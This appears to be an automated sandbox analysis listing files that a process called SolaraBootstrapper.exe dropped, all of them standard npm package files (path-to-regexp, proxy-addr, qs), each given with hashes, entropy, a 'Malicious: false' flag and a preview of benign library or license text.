Preview:	The MIT License (MIT)..Copyright (c) 2014 Blake Embrey (hello@blakeembrey.com)..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\path-to-regexp\Readme.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1102
Entropy (8bit):	4.853431172373399
Encrypted:	false
SSDEEP:	24:daJFnVEbhberZlPA36log8BoSONxNiT7H13TaW7Mou8aTq:SVsbQ1ALcji/H13Tf7Mon6q
MD5:	EC68CDEAF09933D8BF7A962C261AED81
SHA1:	025D50A288FE95542257C776BF43EFCAA4BED4A0
SHA-256:	9E280681BCB5D63E7E2E8A5FAA1FD1ED55573C0726268770F37EC267208FB31A
SHA-512:	D8DA77B871B27B338070E9EE8783F0C0BF557AD8F0161CA8EDBB782D27BB5C20AA73B4484916B5A6BB942D3135548FF0006CB2D56B728B3BE927259B288964AB
Malicious:	false
Preview:	# Path-to-RegExp..Turn an Express-style path string such as `/user/:name` into a regular expression...Note: This is a legacy branch. You should upgrade to `1.x`...## Usage..```javascript.var pathToRegexp = require('path-to-regexp');.```..### pathToRegexp(path, keys, options).. - path A string in the express format, an array of such strings, or a regular expression. - keys An array to be populated with the keys present in the url. Once the function completes, this will be an array of strings.. - options. - options.sensitive Defaults to false, set this to true to make routes case sensitive. - options.strict Defaults to false, set this to true to make the trailing slash matter.. - options.end Defaults to true, set this to false to only match the prefix of the URL...```javascript.var keys = [];.var exp = pathToRegexp('/foo/:bar', keys);.//keys = ['bar'].//exp = /^\/foo\/(?:([^\/]+?))\/?$/i.```..## Live Demo..You can see a live demo of this library in use

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\path-to-regexp\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3328
Entropy (8bit):	4.855981986788102
Encrypted:	false
SSDEEP:	96:YAmNU8fyZqHsEqHiehf5Uh/uU6p6cDA3wLTQ:YAp8fygHRKi8ehSYwLTQ
MD5:	CB184302E8D26369E9C0392FA4C8D0CB
SHA1:	D832B595EDE9EF5017A7C1D817689BA20AA1BB1F
SHA-256:	C6FCA7C07D17E676C51896B785576A118CCFFA934959DDCEE7ED106D3F8D4D01
SHA-512:	536437DD8C35D74748C7FE25D6D5427103CD0FFFA8B6EAAD2D786A9A4943191EBC1763BD4D104455280A5789C764079278D4EF33B1820E51AD8674965662A6C7
Malicious:	false
Preview:	/*. Expose `pathtoRegexp`.. /..module.exports = pathtoRegexp;../. Match matching groups in a regular expression.. /.var MATCHING_GROUP_REGEXP = /\((?!\?)/g;../. Normalize the given path string,. * returning a regular expression.. . An empty array should be passed,. * which will contain the placeholder. * key names. For example "/user/:id" will. * then contain ["id"].. . @param {String\|RegExp\|Array} path. * @param {Array} keys. * @param {Object} options. * @return {RegExp}. * @api private. */..function pathtoRegexp(path, keys, options) {. options = options \|\| {};. keys = keys \|\| [];. var strict = options.strict;. var end = options.end !== false;. var flags = options.sensitive ? '' : 'i';. var extraOffset = 0;. var keysOffset = keys.length;. var i = 0;. var name = 0;. var m;.. if (path instanceof RegExp) {. while (m = MATCHING_GROUP_REGEXP.exec(path.source)) {. keys.push({. name: name++,. optional: false,. offset: m.index.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\path-to-regexp\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	554
Entropy (8bit):	4.609052762628888
Encrypted:	false
SSDEEP:	12:bbADHavG+I1Cf/Ga4JV//GnOj42FsHbADPfCKgBbmPgynADtvo0QWCk:3AHavG+I1Cc/Vc2FqAffIEAt9QWv
MD5:	19E58964462995E183C1CD8147A9B8A1
SHA1:	EBFF0C6723FE9D9817CE3917D350B25E74148B15
SHA-256:	86272F0B3CD4E2F23AFF36F63049A81FF6A10D364B74C6D9FF8CBBAC6F7A6638
SHA-512:	778AFFB450D439C863510C8249A662A64AC1A7362CA047BB84B9D42643C45C2D17BA2E3D1A102E6D851D8F64503B0BA55D0AB6F5A7437440DF7A67F602F5A76A
Malicious:	false
Preview:	{. "name": "path-to-regexp",. "description": "Express style path to RegExp utility",. "version": "0.1.7",. "files": [. "index.js",. "LICENSE". ],. "scripts": {. "test": "istanbul cover _mocha -- -R spec". },. "keywords": [. "express",. "regexp". ],. "component": {. "scripts": {. "path-to-regexp": "index.js". }. },. "license": "MIT",. "repository": {. "type": "git",. "url": "https://github.com/component/path-to-regexp.git". },. "devDependencies": {. "mocha": "^1.17.1",. "istanbul": "^0.2.6". }.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\proxy-addr\HISTORY.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2991
Entropy (8bit):	4.71835894828316
Encrypted:	false
SSDEEP:	48:AD1WhutyHvAy8vJyVCwffUFpw6FwyPWYMK0TNb6uzNgnbN2A:AqhARQVmBHL5pN2A
MD5:	31445AE0EB7987B5487CA79F48114DEF
SHA1:	A943BD96906FF7AD1C64C0C323C538C44BFEBDCE
SHA-256:	9BBB818F8492DDCA7BA1454D43EA2B3E956CCCD1D56AE4AB8B85D9560903B364
SHA-512:	762A8F9216C82D1C8FA7C6FA75010E740AE7AA17DFC88D5ACD23D9F333CA4886293CA1A938937723C10E5647DD503B8D9C65BDBB6B7F72F4FF37B167D315C16E
Malicious:	false
Preview:	2.0.7 / 2021-05-31.==================.. * deps: forwarded@0.2.0. - Use `req.socket` over deprecated `req.connection`..2.0.6 / 2020-02-24.==================.. * deps: ipaddr.js@1.9.1..2.0.5 / 2019-04-16.==================.. * deps: ipaddr.js@1.9.0..2.0.4 / 2018-07-26.==================.. * deps: ipaddr.js@1.8.0..2.0.3 / 2018-02-19.==================.. * deps: ipaddr.js@1.6.0..2.0.2 / 2017-09-24.==================.. * deps: forwarded@~0.1.2. - perf: improve header parsing. - perf: reduce overhead when no `X-Forwarded-For` header..2.0.1 / 2017-09-10.==================.. * deps: forwarded@~0.1.1. - Fix trimming leading / trailing OWS. - perf: hoist regular expression. * deps: ipaddr.js@1.5.2..2.0.0 / 2017-08-08.==================.. * Drop support for Node.js below 0.10..1.1.5 / 2017-07-25.==================.. * Fix array argument being altered. * deps: ipaddr.js@1.4.0..1.1.4 / 2017-03-24.==================.. * deps: ipaddr.js@1.3.0..1.1.3 / 2017-01-14.===========

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\proxy-addr\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1094
Entropy (8bit):	5.1284116326456815
Encrypted:	false
SSDEEP:	24:PiJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:PiJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	6E8686B7B13DD7AC8733645A81842C4A
SHA1:	B058A139CB239C658C8F1F841A475A50818B5F73
SHA-256:	A7996721249A136FBCFC1C201BCB5F414F38A701D4A24F28ABE65E16CFCCE813
SHA-512:	1CACD9111B9EB27A0FD326DD19D61BDF767E443EE1DD09D983AF81199ECDA0D7CF047FBD18B900C7D773972B1278D5D3C19FA753591333C04C27DDAC71AF6422
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2014-2016 Douglas Christopher Wilson..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,.TORT OR OTHERWISE, ARISING

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\proxy-addr\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4131
Entropy (8bit):	5.125035909270746
Encrypted:	false
SSDEEP:	96:6Ccg15WSK7R323Q7mYPSP0zHmf+fKH+6p+ZGeYOYgWxrbYplDGboKRksR:6Cl64+6p+oPJYEasR
MD5:	4BC9AA46F3AFB34D0AB0C82CF244A21B
SHA1:	0AC53E3EF297C7D1BDCADA2A2D00AD68A3696B9B
SHA-256:	409E75C7C493C60AEB91D36D4C0BBDF028B5FFC93FBE5372C1B9DBD711804E05
SHA-512:	4D8BD05213427C77BE7CF9707C69291A71353470150EC4A6349529EF80E68C671A7C2CC38B450F73DE11D031D8E51B56C26CD2CBD95200441DA52649759691CB
Malicious:	false
Preview:	# proxy-addr..[![NPM Version][npm-version-image]][npm-url].[![NPM Downloads][npm-downloads-image]][npm-url].[![Node.js Version][node-image]][node-url].[![Build Status][ci-image]][ci-url].[![Test Coverage][coveralls-image]][coveralls-url]..Determine address of proxied request..## Install..This is a [Node.js](https://nodejs.org/en/) module available through the.[npm registry](https://www.npmjs.com/). Installation is done using the.[`npm install` command](https://docs.npmjs.com/getting-started/installing-npm-packages-locally):..```sh.$ npm install proxy-addr.```..## API..```js.var proxyaddr = require('proxy-addr').```..### proxyaddr(req, trust)..Return the address of the request, using the given `trust` parameter...The `trust` argument is a function that returns `true` if you trust.the address, `false` if you don't. The closest untrusted address is.returned...```js.proxyaddr(req, function (addr) { return addr === '127.0.0.1' }).proxyaddr(req, function (addr, i) { return i < 1 }).```..The

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\proxy-addr\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6000
Entropy (8bit):	4.8574988059761495
Encrypted:	false
SSDEEP:	96:voP1XR7qGGNUNB2iAJsauyKhQANc/EXx+4aRNIov07YNJzti1+CunHQQ/b:voP1XJqxUNUuauyKNNC4uVJn3nH3b
MD5:	0EC33EA2CCB3A107C666A0B311F0E28E
SHA1:	B03A544515E5FF12276828EEB08AD773661513C8
SHA-256:	C586F959F09961EDC6E261D9404455FCE40998A221F71D44833BB4B12796C33C
SHA-512:	4E494C7CC69A0F41FAD896DF84AE90E8A3AA58C7229E35507C281C4D57D238EFA01801AB076E2594B4016FEEEA161F60913709D11C94FEFE3E1C852267BB2413
Malicious:	false
Preview:	/!. proxy-addr. * Copyright(c) 2014-2016 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module exports.. * @public. /..module.exports = proxyaddr.module.exports.all = alladdrs.module.exports.compile = compile../. Module dependencies.. * @private. /..var forwarded = require('forwarded').var ipaddr = require('ipaddr.js')../. Variables.. * @private. /..var DIGIT_REGEXP = /^[0-9]+$/.var isip = ipaddr.isValid.var parseip = ipaddr.parse../. Pre-defined IP ranges.. * @private. /..var IP_RANGES = {. linklocal: ['169.254.0.0/16', 'fe80::/10'],. loopback: ['127.0.0.1/8', '::1/128'],. uniquelocal: ['10.0.0.0/8', '172.16.0.0/12', '192.168.0.0/16', 'fc00::/7'].}../. Get all addresses in the request, optionally stopping. * at the first untrusted.. . @param {Object} request. * @param {Function\|Array\|String} [trust]. * @public. */..function alladdrs (req, trust) {. // get addresses. var addrs = forwarded(req).. if (!trust) {. // Return all addre

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\proxy-addr\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1183
Entropy (8bit):	4.7851179485889626
Encrypted:	false
SSDEEP:	24:lHdWWn1JOXJj0W65QuvgCdqIZCLlWecE6T+lwZKLt:l9W6JmAt5QuoCdqIQUex0+qo5
MD5:	9B004D1140B24F5AE3F21FCDBA8951FC
SHA1:	A04C60D6B2441D6E2A6EBDDCAB75AA6EFC2D1D9C
SHA-256:	E490A79F8058CBB7C0E9FD3B9977013102B5CBD8D232259B93BB2EBF85834A51
SHA-512:	34B9FE96A5251B2A7137FCE47FBF4EC47FB6D7EECF1662BB34862950A95AF007ADA3F07AEBFB29104DD1FF38ED077A6809B76EC912DE2F84EB32E5DD80C75284
Malicious:	false
Preview:	{. "name": "proxy-addr",. "description": "Determine address of proxied request",. "version": "2.0.7",. "author": "Douglas Christopher Wilson <doug@somethingdoug.com>",. "license": "MIT",. "keywords": [. "ip",. "proxy",. "x-forwarded-for". ],. "repository": "jshttp/proxy-addr",. "dependencies": {. "forwarded": "0.2.0",. "ipaddr.js": "1.9.1". },. "devDependencies": {. "benchmark": "2.1.4",. "beautify-benchmark": "0.2.4",. "deep-equal": "1.0.1",. "eslint": "7.26.0",. "eslint-config-standard": "14.1.1",. "eslint-plugin-import": "2.23.4",. "eslint-plugin-markdown": "2.2.0",. "eslint-plugin-node": "11.1.0",. "eslint-plugin-promise": "4.3.1",. "eslint-plugin-standard": "4.1.0",. "mocha": "8.4.0",. "nyc": "15.1.0". },. "files": [. "LICENSE",. "HISTORY.md",. "README.md",. "index.js". ],. "engines": {. "node": ">= 0.10". },. "scripts": {. "bench": "node benchmark/index.js",. "lint": "eslint .",. "test": "

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\qs\.editorconfig

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	569
Entropy (8bit):	4.800574337450001
Encrypted:	false
SSDEEP:	12:UvEsKHqPYdOZwq+TmYJsR54G4mmKlS2LW1JaMHUUQP:UMJH45ZwLTM74hm7l2q6UU4
MD5:	DA08D1EBFD87C9C4F5C059CC79339F74
SHA1:	A9E675FF2B7A222335A84856CD39C75FB7BC6E39
SHA-256:	E88EB6D645D1E89AC4948B93DF420C7798A6A5EA51E4D021246CCACD6B43C639
SHA-512:	4FFE06651022C45B693398E21677B5F993B9598B22C0DAB2D7AF884AAED907A6BC204535462E4063F67F4969466B63849B4E25007F6928E3A7046056468BD760
Malicious:	false
Preview:	root = true..[].indent_style = space.indent_size = 4.end_of_line = lf.charset = utf-8.trim_trailing_whitespace = true.insert_final_newline = true.max_line_length = 160.quote_type = single..[test/].max_line_length = off..[LICENSE.md].indent_size = off..[.md].max_line_length = off..[.json].max_line_length = off..[Makefile].max_line_length = off..[CHANGELOG.md].indent_style = space.indent_size = 2..[LICENSE].indent_size = 2.max_line_length = off..[coverage/*/].indent_size = off.indent_style = off.indent = off.max_line_length = off..[.nycrc].indent_style = tab.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\qs\.eslintrc

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1025
Entropy (8bit):	4.137277213207899
Encrypted:	false
SSDEEP:	24:24syhU0GEGKMu/GH6dFZrmhZonKygFjB6TNi:1syHIJadFJGjcTNi
MD5:	37875CFBE508BCC248856FC88F1F669C
SHA1:	D34602136E9C3D76ADD80EC2BD320C31C33FFEF2
SHA-256:	4563BE7FB02331482AE9B170733772A83F0FB0D18BDC0E3DEB1ADB4E1CC04BF5
SHA-512:	049400D471FD901B7A23C81F4A2DCE4A4175A83800E0B45FD5C1D47C9F476BE1F0404CE15B7039C39563EF6C223D28EB4D51E2A234E1306A9B05901468528E70
Malicious:	false
Preview:	{. "root": true,.. "extends": "@ljharb",.. "ignorePatterns": [. "dist/",. ],.. "rules": {. "complexity": 0,. "consistent-return": 1,. "func-name-matching": 0,. "id-length": [2, { "min": 1, "max": 25, "properties": "never" }],. "indent": [2, 4],. "max-lines-per-function": [2, { "max": 150 }],. "max-params": [2, 16],. "max-statements": [2, 53],. "multiline-comment-style": 0,. "no-continue": 1,. "no-magic-numbers": 0,. "no-restricted-syntax": [2, "BreakStatement", "DebuggerStatement", "ForInStatement", "LabeledStatement", "WithStatement"],. },.. "overrides": [. {. "files": "test/**",. "rules": {. "function-paren-newline": 0,. "max-lines-per-function": 0,. "max-statements": 0,. "no-buffer-constructor": 0,. "no-extend-native": 0,. "no-throw-literal": 0,.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\qs\.github\FUNDING.yml

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	548
Entropy (8bit):	4.608901185947105
Encrypted:	false
SSDEEP:	12:OjjcfQWARgMqJugMJPH0FggMfFlgM01bZBgMoGbQjgMy9gMLzgMT:qoQWAg0g+H0mgcFlg7g1GegJ9gEzgs
MD5:	9103C1348CBED423A71D3E82348B9095
SHA1:	5968075E1CBE9F11D62B700FABA1C9B44291BD7E
SHA-256:	367B5D545D7A66684895EE7EFD987130E83018491A7B2F72F25C0B062157AD90
SHA-512:	B573BD8D14921783570A8674F1CD9BFC8403081605367947A63A8369B206D80A423366B323825DDC36E07938BD3E5F710C4531A45206D331F631AB32BCB6EE59
Malicious:	false
Preview:	# These are supported funding model platforms..github: [ljharb].patreon: # Replace with a single Patreon username.open_collective: # Replace with a single Open Collective username.ko_fi: # Replace with a single Ko-fi username.tidelift: npm/qs.community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry.liberapay: # Replace with a single Liberapay username.issuehunt: # Replace with a single IssueHunt username.otechie: # Replace with a single Otechie username.custom: # Replace with a single custom sponsorship URL.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\qs\.nycrc

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	216
Entropy (8bit):	4.799229660371475
Encrypted:	false
SSDEEP:	6:Kw9OfyFdRaB9yq2TpR6S8U7XfUGUiMIOJy:5O6FTaB9WTpR65U7cAMjJy
MD5:	2C4AA96D1D53687375D35FB7F3F7AE6E
SHA1:	310D7C4DDE09BADCAA10BF85F386ED4B17F17745
SHA-256:	7E1E3A52DF079FC764989D75B3AAF5228228C841978E0C9201D1F394C1FD2655
SHA-512:	C1158D7EE0B3C8668BD2370BF8349B3E1DFABC31548AAA0B16493C525FCFD4079254EC07BFBB4D6FE1ECB7801679A3FC9318428A7953B3C261C87337053D99B6
Malicious:	false
Preview:	{.."all": true,.."check-coverage": false,.."reporter": ["text-summary", "text", "html", "json"],.."lines": 86,.."statements": 85.93,.."functions": 82.43,.."branches": 76.06,.."exclude": [..."coverage",..."dist"..].}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\qs\CHANGELOG.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	29661
Entropy (8bit):	5.199404663647947
Encrypted:	false
SSDEEP:	384:zwkCw7nk3hretjrywBFwcVZwDvRKfb/+7cMsIBt9xvY5P0i:z9yhujewBFP/4vRKzKcfA20i
MD5:	2E2BD05CE068E71A67D68E95FBFABE03
SHA1:	E7FD1D87B00DA8CB88AC75E162A0C01049B242E0
SHA-256:	13D5E628389526DABD365252A088D769E03AFA3919CCDBC0D7627623FD211617
SHA-512:	1B032FB8A0A039A49D5B690F2FEE50C0F5C46C218BE09F704F557A8BFC3CBCCE92556F1BE8BF54BB527C6ECD5AC7BA7E5EA8C0D5584205742310B8FE37FF71A8
Malicious:	false
Preview:	## 6.11.0.- [New] [Fix] `stringify`: revert 0e903c0; add `commaRoundTrip` option (#442).- [readme] fix version badge..## 6.10.5.- [Fix] `stringify`: with `arrayFormat: comma`, properly include an explicit `[]` on a single-item array (#434)..## 6.10.4.- [Fix] `stringify`: with `arrayFormat: comma`, include an explicit `[]` on a single-item array (#441).- [meta] use `npmignore` to autogenerate an npmignore file.- [Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `has-symbol`, `object-inspect`, `tape`..## 6.10.3.- [Fix] `parse`: ignore `__proto__` keys (#428).- [Robustness] `stringify`: avoid relying on a global `undefined` (#427).- [actions] reuse common workflows.- [Dev Deps] update `eslint`, `@ljharb/eslint-config`, `object-inspect`, `tape`..## 6.10.2**.- [Fix] `stringify`: actually fix cyclic references (#426).- [Fix] `stringify`: avoid encoding arrayformat comma when `encodeValuesOnly = true` (#424).- [readme] remove travis badge; add github actions/codecov

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\qs\LICENSE.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1600
Entropy (8bit):	5.171170892004588
Encrypted:	false
SSDEEP:	48:kOOrXIJHJzszO432sHI32s3Stc13tfyTHv:NOrXIJHJzYF3U3zxFyTP
MD5:	B289135779DD930509AE81E6041690C0
SHA1:	6ECE366FE750ED915FB98CA184588F90061CAA86
SHA-256:	E7DC37BF662D7F786EFCB46C545615E70C1DAF458A38385521C63CF6607CDFE1
SHA-512:	C2CD7135D2564CAD4C47C27EBB46232C4A7B870061B13496BD443904B59EF00DF62ED681918D0B9DB5445D54CAAEB302E91FB24DD50847D75C6F0A48340F838F
Malicious:	false
Preview:	BSD 3-Clause License..Copyright (c) 2014, Nathan LaFreniere and other [contributors](https://github.com/ljharb/qs/graphs/contributors).All rights reserved...Redistribution and use in source and binary forms, with or without.modification, are permitted provided that the following conditions are met:..1. Redistributions of source code must retain the above copyright notice, this. list of conditions and the following disclaimer...2. Redistributions in binary form must reproduce the above copyright notice,. this list of conditions and the following disclaimer in the documentation. and/or other materials provided with the distribution...3. Neither the name of the copyright holder nor the names of its. contributors may be used to endorse or promote products derived from. this software without specific prior written permission...THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS".AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE.IMPLIE

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\qs\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text, with very long lines (463)
Category:	dropped
Size (bytes):	20966
Entropy (8bit):	5.140198331589426
Encrypted:	false
SSDEEP:	384:64CMaR4Yc1ZgJ/zh7KF/GFOkKvCzBO7IcxFEi+KeY4twdiKO8t:8R4OJl7oeKvCzY7L4t+t
MD5:	2E307604EDAF4DDAAF2012EDF8A224AE
SHA1:	600F4801DA103EA9CA7AD90E1BC79FF725826940
SHA-256:	4416E51A890E073B0D3237FEA9C545D2E81B1C6C63BEC26CA75B65C8A6F23750
SHA-512:	371C7320CF2A3393D7E52C7E818939C07DD26F8FD4B94DAD78B99A81AE6CB143D0B7D9F02E189F4761B15A63E0F45260F5ABED9408C7F4B470FF01E65031AF68
Malicious:	false
Preview:	# qs <sup>[![Version Badge][npm-version-svg]][package-url]</sup>..[![github actions][actions-image]][actions-url].[![coverage][codecov-image]][codecov-url].[![dependency status][deps-svg]][deps-url].[![dev dependency status][dev-deps-svg]][dev-deps-url].[![License][license-image]][license-url].[![Downloads][downloads-image]][downloads-url]..[![npm badge][npm-badge-png]][package-url]..A querystring parsing and stringifying library with some added security...Lead Maintainer: [Jordan Harband](https://github.com/ljharb)..The qs module was originally created and maintained by [TJ Holowaychuk](https://github.com/visionmedia/node-querystring)...## Usage..```javascript.var qs = require('qs');.var assert = require('assert');..var obj = qs.parse('a=c');.assert.deepEqual(obj, { a: 'c' });..var str = qs.stringify(obj);.assert.equal(str, 'a=c');.```..### Parsing Objects..[](#preventEval).```javascript.qs.parse(string, [options]);.```..qs allows you to create nested objects within your query

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\qs\dist\qs.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text, with very long lines (859)
Category:	dropped
Size (bytes):	69136
Entropy (8bit):	5.0138931035003855
Encrypted:	false
SSDEEP:	1536:gGDxzy/W412Qsf7XwM4DCbJQpw1JJR5ZG4C8a7RV5DtWGJBqbuzOwytgv2Zp:SW412Qsf7XwMrHb5ZG4C8a7R99z6
MD5:	7A07B9932F7E5A7CF44CBDE2B89CBC6C
SHA1:	55D05E8834D6583D0200742F9A5B14E0B86C8613
SHA-256:	27D7D7811DDFA98771316D5DC83BBD370E81B982CE982A12EE0A0E319FD20964
SHA-512:	417420A3FAC90D4136E8FAD11F18484B0ADAB5DC998BD7BFCEF9E5BFBD8C93A5B79664DAE588A255A47D718C4D463408657CC04A1C2C973EAB90EB6DBFDD20EA
Malicious:	false
Preview:	(function(f){if(typeof exports==="object"&&typeof module!=="undefined"){module.exports=f()}else if(typeof define==="function"&&define.amd){define([],f)}else{var g;if(typeof window!=="undefined"){g=window}else if(typeof global!=="undefined"){g=global}else if(typeof self!=="undefined"){g=self}else{g=this}g.Qs = f()}})(function(){var define,module,exports;return (function(){function r(e,n,t){function o(i,f){if(!n[i]){if(!e[i]){var c="function"==typeof require&&require;if(!f&&c)return c(i,!0);if(u)return u(i,!0);var a=new Error("Cannot find module '"+i+"'");throw a.code="MODULE_NOT_FOUND",a}var p=n[i]={exports:{}};e[i][0].call(p.exports,function(r){var n=e[i][1][r];return o(n\|\|r)},p,p.exports,r,e,n,t)}return n[i].exports}for(var u="function"==typeof require&&require,i=0;i<t.length;i++)o(t[i]);return o}return r})()({1:[function(require,module,exports){.'use strict';..var replace = String.prototype.replace;.var percentTwenties = /%20/g;..var Format = {. RFC1738: 'RFC1738',. RFC3986: 'R

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\qs\lib\formats.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.710886840910965
Encrypted:	false
SSDEEP:	12:LSiACmX00E1TBA7YEJa+wvoddqadUibZHY:L70o1TBMjwQdYIK
MD5:	74E3187201CE03C0BE48C3D744CE9B93
SHA1:	EDDC3B28123BD9E925B374362465B2488734FFDE
SHA-256:	D4E3DE8B5A4C94865D8ACD6F1C7538144732D466769661160BC0BF6EC9DB3F4F
SHA-512:	39C1C72DC94536ACFF463BE2A1BF7DC28B0E31EC377ABA76F0EC86891EE4CA94B4D7AF1AAA653E500D9E1F8E46538F3AF75469C3AA42ED39EB21D1A7080C0C17
Malicious:	false
Preview:	'use strict';..var replace = String.prototype.replace;.var percentTwenties = /%20/g;..var Format = {. RFC1738: 'RFC1738',. RFC3986: 'RFC3986'.};..module.exports = {. 'default': Format.RFC3986,. formatters: {. RFC1738: function (value) {. return replace.call(value, percentTwenties, '+');. },. RFC3986: function (value) {. return String(value);. }. },. RFC1738: Format.RFC1738,. RFC3986: Format.RFC3986.};.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\qs\lib\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	211
Entropy (8bit):	4.513556922562984
Encrypted:	false
SSDEEP:	6:Q16PWo/EeWf0NDCMDKzBSGYEwPEwqYecuxs:ucNDPUBAEwPEwg2
MD5:	1459A9952F6B500D24818BB6E3E37368
SHA1:	9039AEF43BEBB9C999E4711D367211CC97B710D3
SHA-256:	8F4E02EEF6CCC43F2B7448C18AE209281C8E9AF9807CAD491DF67450E3817A95
SHA-512:	50365D03580E5DB9FD07FD0771CCB702E5B18173E7200CA3E8C792CADBA571F6EDD5B6CC12458296277143C3C63CD3ADADEB3C8DCA140A6A18C525B107CAE66A
Malicious:	false
Preview:	'use strict';..var stringify = require('./stringify');.var parse = require('./parse');.var formats = require('./formats');..module.exports = {. formats: formats,. parse: parse,. stringify: stringify.};.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\qs\lib\parse.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	9380
Entropy (8bit):	4.7052565509844655
Encrypted:	false
